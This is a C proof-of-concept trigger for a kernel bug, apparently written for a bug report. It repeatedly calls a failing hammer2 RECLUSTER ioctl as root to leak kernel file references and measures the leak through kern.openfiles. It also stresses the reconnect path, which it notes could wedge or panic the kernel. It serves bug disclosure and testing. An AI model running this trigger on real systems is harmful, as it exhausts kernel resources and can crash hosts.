DF-2666 / df2666_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* * DF-2666 PoC โ HAMMER2IOC_RECLUSTER leaks the holdfp() file reference * on error returns in hammer2_ioctl_recluster() (sys/vfs/hammer2/ * hammer2_ioctl.c:212-236). * * hammer2_cluster_reconnect() (hammer2_iocom.c:74-85 -> kern_dmsg.c:128-131) * documents a one-way ownership transfer: "The caller must ref the fp for * us ... We own that ref now." hammer2_ioctl_recluster() takes that ref * with holdfp() and transfers it ONLY on the two success branches. On * both error branches: * * (a) VFS_ROOT() failure (hammer2_ioctl.c:214, 232) * (b) EINVAL: focus==NULL && * !(nchains==1 && array[0]) (hammer2_ioctl.c:226-231) * * ...the function returns without fdrop()ing โ every such call pins one * struct file (and whatever it references) forever. * * This trigger: * 1. mounts a plain hammer2 volume (no cluster_fd), * 2. loops HAMMER2IOC_RECLUSTER with recl->fd = /dev/null, * reporting per-call errno, * 3. samples kern.openfiles before/after (leak indicator: +N after N * failing calls; healthy transfer: ~+1 total), * 4. as a bonus, hammers the reconnect path N times, stress-testing * the kill/join/teardown ordering of kdmsg_iocom_reconnect() * (kern_dmsg.c:133-167) โ a wedge or panic here would be its own * finding. * * Root is required (caps_priv_check SYSCAP_NOVFS_IOCTL, hammer2_ioctl.c:83, * 89-91) โ the leak is privileged-only by construction. * * build: cc -O -I/usr/src/sys -o df2666_trigger df2666_trigger.c * run: (root) ./df2666_trigger [iterations] */ #include <sys/param.h> #include <sys/mount.h> #include <sys/sysctl.h> #include <sys/ioctl.h> #include <vfs/hammer2/hammer2_ioctl.h> #include <vfs/hammer2/hammer2_mount.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MOUNTPT "/mnt/h2poc2666" #define VOLUME "/dev/vn0@testvol" static long openfiles(void) { long v = -1; size_t l = sizeof(v); if (sysctlbyname("kern.openfiles", &v, &l, NULL, 0) < 0) warn("sysctl kern.openfiles"); return (v); } int main(int argc, char **argv) { hammer2_ioc_recluster_t recl; struct hammer2_mount_info info; long iters = (argc > 1) ? strtol(argv[1], NULL, 0) : 2000; long before, after; int fd_m, fd_peer, i; int n_ok = 0, n_einval = 0, n_other = 0, last_errno = 0; memset(&info, 0, sizeof(info)); info.volume = VOLUME; info.hflags = 0; info.cluster_fd = -1; if (mkdir(MOUNTPT, 0755) < 0 && errno != EEXIST) err(1, "mkdir " MOUNTPT); if (mount("hammer2", MOUNTPT, 0, &info) < 0) err(1, "mount(hammer2)"); fd_m = open(MOUNTPT "/rcl", O_RDWR | O_CREAT, 0644); if (fd_m < 0) err(1, "open " MOUNTPT "/rcl"); /* the fd whose reference the ioctl will (try to) transfer/leak */ fd_peer = open("/dev/null", O_RDWR); if (fd_peer < 0) err(1, "open /dev/null"); before = openfiles(); printf("OPENFILES_BEFORE=%ld iters=%ld\n", before, iters); fflush(stdout); memset(&recl, 0, sizeof(recl)); recl.fd = fd_peer; for (i = 0; i < iters; i++) { if (ioctl(fd_m, HAMMER2IOC_RECLUSTER, &recl) == 0) { n_ok++; } else { last_errno = errno; if (errno == EINVAL) n_einval++; /* <- leak branch, if hit */ else n_other++; } } after = openfiles(); printf("OPENFILES_AFTER=%ld DELTA=%ld\n", after, after - before); printf("RECLUSTER_OK=%d RECLUSTER_EINVAL=%d RECLUSTER_OTHER=%d " "LAST_ERRNO=%d (%s)\n", n_ok, n_einval, n_other, last_errno, strerror(last_errno)); printf("LEAK_INDICATOR: DELTA - 1 (one ref legally held by " "iocom->msg_fp) = %ld\n", after - before - 1); fflush(stdout); /* control: fd that cannot be held -> holdfp fails, no ref taken */ memset(&recl, 0, sizeof(recl)); recl.fd = 999999; if (ioctl(fd_m, HAMMER2IOC_RECLUSTER, &recl) < 0) printf("BADFD_RC=%d (%s) [expected EINVAL, no leak]\n", errno, strerror(errno)); close(fd_peer); close(fd_m); sleep(1); if (unmount(MOUNTPT, 0) < 0) warn("unmount"); else printf("UNMOUNT_OK\n"); after = openfiles(); printf("OPENFILES_POST_UNMOUNT=%ld (FINAL_DELTA=%ld)\n", after, after - before); printf("TRIGGER_DONE\n"); return (0); } |